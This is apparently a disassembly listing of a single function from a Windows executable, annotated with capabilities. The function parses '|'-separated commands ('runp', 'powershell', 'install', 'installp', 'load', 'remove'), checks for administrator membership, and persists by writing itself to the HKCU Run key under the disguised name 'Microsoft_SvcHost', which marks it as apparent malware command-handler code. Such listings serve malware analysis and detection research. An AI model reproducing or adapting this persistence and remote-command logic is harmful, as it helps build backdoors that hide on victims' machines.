Function at 0x14000ada0
Capabilities:
Get token membership
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov r14, rcx
mov qword [rbp - 0x78], rcx
xor r12d, r12d
mov dword [rbp - 0x70], r12d
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x50], r12
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140017210]
mov qword [rbp], rax
lea rax, [0x140016f68]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x70], 1
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx], r13
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 4], edx
lea rax, [rbp + 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x18], rax
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000ae8b
mov rdx, qword [r14]
xor r9d, r9d
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x18]
call fcn.140007f80
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movdqa xmm1, xmmword [0x1400175c0]
movdqu xmmword [rbp - 0x18], xmm1
mov byte [rbp - 0x28], 0
mov r8b, 0x7c
lea rdx, [rbp - 0x28]
lea rcx, [rbp]
call fcn.140009de0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14000af31
nop dword [rax + rax]
mov rax, qword [rbp - 0x58]
cmp rax, qword [rbp - 0x50]
je 0x14000aefd
lea rdx, [rbp - 0x28]
mov rcx, rax
call fcn.140002880
add qword [rbp - 0x58], 0x20
jmp 0x14000af0d
lea r8, [rbp - 0x28]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.14000d4e0
mov r8b, 0x7c
lea rdx, [rbp - 0x28]
lea rcx, [rbp]
call fcn.140009de0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14000aee0
mov rbx, qword [rbp - 0x60]
lea rdi, [rbx + 0x20]
mov rsi, qword [rdi + 0x10]
mov rcx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14000af4a
mov rcx, qword [rdi]
cmp rsi, 4
jne 0x14000b088
mov r8, rsi
lea rdx, str.runp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000b088
add rbx, 0x40
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xb
jb 0x14000b4cb
cmp qword [rbx + 0x18], 0xf
jbe 0x14000af94
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0xb
lea r9, str.powershell
lea rcx, [rbp - 0x48]
call fcn.1400033f0
nop
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x60]
call fcn.14000a7a0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000b007
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b001
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b001
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012f4c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000b043
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b03d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b3ac
call fcn.140012f4c
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14000b3b9
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b3b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b3b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp qword [rdi + 0x18], 0xf
jbe 0x14000b092
mov rdi, qword [rdi]
cmp rsi, 7
jne 0x14000b103
mov r8, rsi
lea rdx, str.install
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000b103
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000bbf0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000b043
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b03d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b03d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 0x18]
cmp rsi, 0xf
jbe 0x14000b118
mov rcx, qword [rcx]
cmp rdi, 8
jne 0x14000b27a
mov r8, rdi
lea rdx, str.installp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000b27a
lea rdx, [rbx + 0x40]
lea rcx, [rbp - 0x48]
call fcn.14000bbf0
nop
mov dword [rbp - 0x70], r12d
mov qword [rbp - 0x80], r12
mov dword [rbp - 0x6c], 0
mov word [rbp - 0x68], 0x500
lea rax, [rbp - 0x80]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x6c]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000b1b9
lea r8, [rbp - 0x70]
mov rdx, qword [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x70], 0
je 0x14000b1ca
lea rcx, [rbp - 0x48]
call fcn.14000e960
jmp 0x14000b235
lea rbx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rbx, qword [rbp - 0x48]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b235
mov eax, dword [rbp - 0x38]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Microsoft_SvcHost
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000b043
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b03d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b03d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rcx, [rbx + 0x20]
cmp rsi, 0xf
jbe 0x14000b287
mov rcx, qword [rcx]
cmp rdi, 4
jne 0x14000b2f8
mov r8, rdi
lea rdx, str.load
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000b2f8
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000bbf0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000b326
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b2e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b2e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012f4c
call fcn.14000b540
jmp 0x14000b043
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 0x18]
cmp rsi, 0xf
jbe 0x14000b30d
mov rcx, qword [rcx]
cmp rdi, 6
jne 0x14000b330
mov r8, rdi
lea rdx, str.remove
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000b330
call fcn.14000b540
jmp 0x14000b043
lea rcx, [rbx + 0x20]
cmp rsi, 0xf
jbe 0x14000b33d
mov rcx, qword [rcx]
cmp rdi, 3
jne 0x14000b043
mov r8, rdi
lea rdx, [0x14001707c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000b043
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000a7a0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000b043
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b03d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b03d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140012f4c
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx], r13
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 0x18]
call fcn.1400079f0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000b453
mov rdx, qword [rbp - 0x58]
call fcn.140009420
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x60]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b442
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b442
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012f4c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x14000b489
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x14000b484
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b4c4
mov rcx, r8
call fcn.140012f4c
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140012e20
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400012d0
nop
int3